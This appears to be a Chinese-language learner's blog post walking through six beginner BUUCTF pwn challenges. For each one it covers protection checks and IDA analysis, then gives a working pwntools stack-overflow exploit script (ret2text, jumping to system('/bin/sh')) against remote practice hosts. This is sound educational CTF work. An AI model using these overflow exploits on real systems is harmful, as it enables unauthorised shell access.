pwn打打基础——BUUCTF篇(1)
BUUCTF刷刷基础题先,打牢下基础
test_your_nc
就非常经典的起引导作用的nc题
格式:nc IP 端口
rip
checksec一下
发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码
发现有gets()函数(并不会限制输入的字节数),也有system("/bin/sh"),没有什么其它陷阱。那这就是一道非常经典的ret2text题目,可直接转到fun()函数即可,那么脚本如下
from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote("node4.buuoj.cn",27199) #远端链接
offset = 0x0F + 0x08 #0x0F是s的字节大小,0x08是为了覆盖rsp来进行跳转
system = 0x000000000040118A #执行system函数的地址
payload = offset * b'a' + p64(system)
p.sendline(payload) #攻击
p.interactive() #交互模式
运行脚本结果后获得权限,然后获取flag即可
warmup_csaw_2016
依旧是先checksec
跟上一题一模一样的保护,然后用IDA查看一下代码
典型的栈溢出,再找找有没有调用system()函数,发现sub_40060D里就藏着我们的目标
思路一下子就明了了起来,由gets进行栈溢出之后跳转到sub_40060D内执行,这里提供两种获得sub_40060D函数地址的方法
①.在IDA的Options里选择General,然后勾选Line prefixes(graph),在sub_40060D函数体内按下TAB键,即可查看到sub_40060D这个子函数的地址
②.在main函数里有sprintf函数,其中%p指向sub_40060D,可以打印出它的地址。直接nc就可以获得它的地址
那么脚本如下
from pwn import *
p = remote('node4.buuoj.cn',29841)
offset = 0x40 + 0x08
payload = offset *b'a' + p64(0x40060d)
p.recvuntil(">") #可以理解为将程序运行到">"字符的出现
p.sendline(payload)
p.interactive()
然后就获取权限可以提取flag了
ciscn_2019_n_1
checksec一下
发现多开了一个NX保护,栈不可执行,意味着我们没法直接往栈区里写入类似shellcode的代码,再来看看IDA里边的函数
在func函数里我们发现,要是想获得flag,我们就得让v2等于11.28125,但是在最开始v2已经被初始化为0.0了,那么现在的问题就是如何将v2的值覆盖为11.28125,需要借用我们的gets函数从v1溢出到v2进行覆盖
根据计算,偏移量offset = -0x04 + 0x30,那么最后的难点就是如何给v2赋值了,一个浮点型的数字没办法直接通过十进制来赋值,所以我们要想办法把浮点型数字转换成计算机能够识别的格式,也就是十六进制。但我心有余而力不足,不会这种转换方式,就抱着试一试的心态看看能不能在IDA里找到能表示11.28125,在流程图里看到了个很可疑的对比对象dword_4007F4
这个dword_4007F4后边紧跟着jnz指令,那么我大胆猜测,这个dword_4007F4里就储存着11.28125的十六进制数据,那么此时去获取它的地址
构造脚本
rom pwn import *
p = remote('node4.buuoj.cn',29495)
offset = 0x30 - 0x04
floatnum = 0x41348000 #储存11.28125的地址
payload = offset * b'a' + p64(floatnum)
p.recvuntil('number')
p.sendline(payload)
p.interactive()
攻击!如愿以偿的得到了flag
不过,真正正确的攻击方式应该是人为的将11.28125转换为十六进制数据,像这样能够找着存储它的地址的机会实在是很少,还是得多学习下如何进行转换
总结:核心就是赋值,将浮点型数据转换为十六进制数据
pwn1_sctf_2016
checksec
和上题一样,不过变成了x86程序,IDA查看一下
发现有后门函数,但是vuln函数却是个大麻烦,这么多奇怪的代码混淆我们的视线,并且fgets函数里有且仅能输入32字节数据,看起来无法进行栈溢出的样子。但是,我们可以看到有个函数叫replace,根据英文单词释义以及前文中剃刀的两个英语单词,可以猜测是不是将I转换成you,或者将you转换成I,空谈误国,nc一下试试先
事实证明,I被转换成了you,那就好办了,一字节变成了三字节,这不刚好为我们的栈溢出创造条件吗?ok这下就是计算偏移量offset的时间!offset = 0x3C + 0x04,换成十进制就是64字节长度,然后跳转到get_flag函数即可,那么此时就可以构造脚本了
from pwn import *
p = remote('node4.buuoj.cn',28925)
offset = 20 #0x3C ÷ 3 == 20
flag = 0x08048F0D
payload = offset * b'I' + 4 * b'a' + p32(flag) #因为是x86,所以用p32打包,且esp只占4字节长度
p.sendline(payload)
p.interactive()
那么运行后结果如下,顺利拿下flag!
jarvisoj_level0(这个跟前边的rip差不多,可跳)
checksec
NX开启,栈不可执行,x64位,查看代码
有后门函数callsystem()
普通的ret2text,脚本如下
from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',25895)
offset = 0x80 + 0x08
callsystem = 0x0000000000400596
payload = offset * b'a' + p64(callsystem)
p.sendline(payload)
p.interactive()
运行脚本即可
jarvisoj_level2
checksec一下
x86,部分地址随机化,NX保护
IDA查看一下代码
嗯,是栈溢出的感觉!但是system里边的参数并不是我们想要的,那在这个程序里面有没有藏着"/bin/sh"呢?找找吧~
然后我们就在Exports里发现了个hint,好东西啊,看看!
好家伙,正是我们所需要的参数!那么现在的任务就是在栈溢出之后把参数传到system函数里边执行了,获取下_system函数地址
OK!那么就可以开始构造脚本了!
from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',29791)
offset = 0x88 + 0x04
shell = 0x0804A024
system = 0x0804845C
payload = offset * b'a' + p32(system) + p32(shell)
p.sendlineafter("Input:\n",payload) #在接收到"Input:\n"后发送payload
p.interactive()
运行脚本获得权限提取flag即可
总结:这几道题里难的就是pwn1_sctf_2016和ciscn_2019_n_1,算是使用ROPgadget前相对来说比较难的基础题。难在代码审计和数据转换,对我来说算是一种比较新的题型了,可以多总结练习一下,把基础夯实,更好学习后面的知识